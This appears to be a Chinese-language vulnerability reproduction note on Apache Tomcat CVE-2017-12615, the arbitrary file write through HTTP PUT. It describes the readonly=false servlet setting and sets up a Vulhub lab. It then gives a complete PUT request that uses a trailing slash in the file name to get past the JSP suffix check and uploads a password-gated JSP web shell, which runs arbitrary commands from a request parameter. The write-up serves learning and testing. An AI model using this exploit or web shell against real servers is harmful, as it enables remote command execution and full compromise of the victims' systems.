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Apache Tomcat PUT方法任意写文件漏洞 CVE-2017-12615.md

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Apache Tomcat PUT方法任意写文件漏洞 CVE-2017-12615

漏洞描述

参考:

漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件:

<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param>
    <init-param>
        <param-name>listings</param-name>
        <param-value>false</param-value>
    </init-param>
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用/)来绕过了限制。

影响版本

Apache Tomcat 7.0.0-7.0.81(默认配置)

环境搭建

Vulhub启动Tomcat 8.5.19环境:

docker-compose build
docker-compose up -d

运行完成后访问http://your-ip:8080即可看到Tomcat的Example页面。

漏洞复现

直接发送以下数据包即可在Web根目录写入shell:

PUT /2.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

<% if("poc".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1; byte[] b = new byte[2048]; out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b,0,a));
        }
        out.print("</pre>");
    }
%>

如下:

image-20220302155053358